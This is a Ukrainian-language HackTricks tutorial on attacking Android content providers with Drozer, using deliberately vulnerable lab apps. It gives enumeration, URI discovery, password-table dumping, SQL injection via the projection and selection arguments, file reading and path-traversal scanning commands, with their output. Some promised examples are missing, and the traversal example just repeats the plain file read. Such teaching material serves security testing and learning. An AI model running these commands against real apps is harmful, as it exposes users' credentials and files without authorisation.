Exploiting Content Providers

Використання постачальників контенту

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Вступ

Дані надходять з одного додатку до інших за запитом компонента, відомого як постачальник контенту. Ці запити обробляються за допомогою методів класу ContentResolver. Постачальники контенту можуть зберігати свої дані в різних місцях, таких як база даних, файли або через мережу.

У файлі Manifest.xml потрібно зробити декларацію постачальника контенту. Наприклад:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Для доступу до content://com.mwr.example.sieve.DBContentProvider/Keys необхідний дозвіл READ_KEYS. Цікаво відзначити, що шлях /Keys/ доступний у наступному розділі, який не захищений через помилку розробника, який захистив /Keys, але оголосив /Keys/.

Можливо, ви зможете отримати доступ до приватних даних або використати деякі вразливості (SQL Injection або Path Traversal).

Отримати інформацію з викритих постачальників контенту

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Можливо скласти шлях до DBContentProvider, починаючи URIs з "content://". Цей підхід ґрунтується на отриманих відомостях під час використання Drozer, де ключова інформація була знаходиться в каталозі /Keys.

Drozer може вгадувати та спробувати кілька URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Вам також слід перевірити код ContentProvider для пошуку запитів:

Також, якщо ви не можете знайти повні запити, ви можете перевірити, які імена декларовані ContentProvider у методі onCreate:

Запит буде виглядати як: content://name.of.package.class/declared_name

Content Providers, підтримувані базою даних

Ймовірно, більшість Content Providers використовуються як інтерфейс для бази даних. Тому, якщо ви зможете до нього отримати доступ, ви зможете витягти, оновити, вставити та видалити інформацію. Перевірте, чи ви можете отримати доступ до чутливої інформації або спробуйте змінити її для обхіду механізмів авторизації.

При перевірці коду Content Provider шукайте також функції, названі як: query, insert, update та delete:

Тому що ви зможете їх викликати

Запит вмісту

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Вставити вміст

Запитуючи базу даних, ви дізнаєтеся назви стовпців, після чого зможете вставити дані в БД:

Зверніть увагу, що при вставці та оновленні ви можете використовувати --string для позначення рядка, --double для позначення дробового числа, --float, --integer, --long, --short, --boolean

Оновити вміст

Знаючи назви стовпців, ви також можете змінювати записи:

Видалити вміст

SQL Injection

Дуже просто провести тестування на SQL ін'єкцію (SQLite), маніпулюючи проекцією та полями вибірки, які передаються до постачальника контенту. Під час запиту до постачальника контенту є 2 цікаві аргументи для пошуку інформації: --selection та --projection:

Ви можете спробувати зловживати цими параметрами для тестування SQL ін'єкцій:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Автоматичне виявлення SQLInjection за допомогою Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Провайдери контенту, підтримані файловою системою

Провайдери контенту також можуть бути використані для доступу до файлів:

Читання файлу

Ви можете читати файли з провайдера контенту

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Отслідження шляху

Якщо ви можете отримати доступ до файлів, ви можете спробувати використати отслідження шляху (у цьому випадку це не є обов'язковим, але ви можете спробувати використати "../" та подібні трюки).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Автоматичне виявлення обхіду шляху за допомогою Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated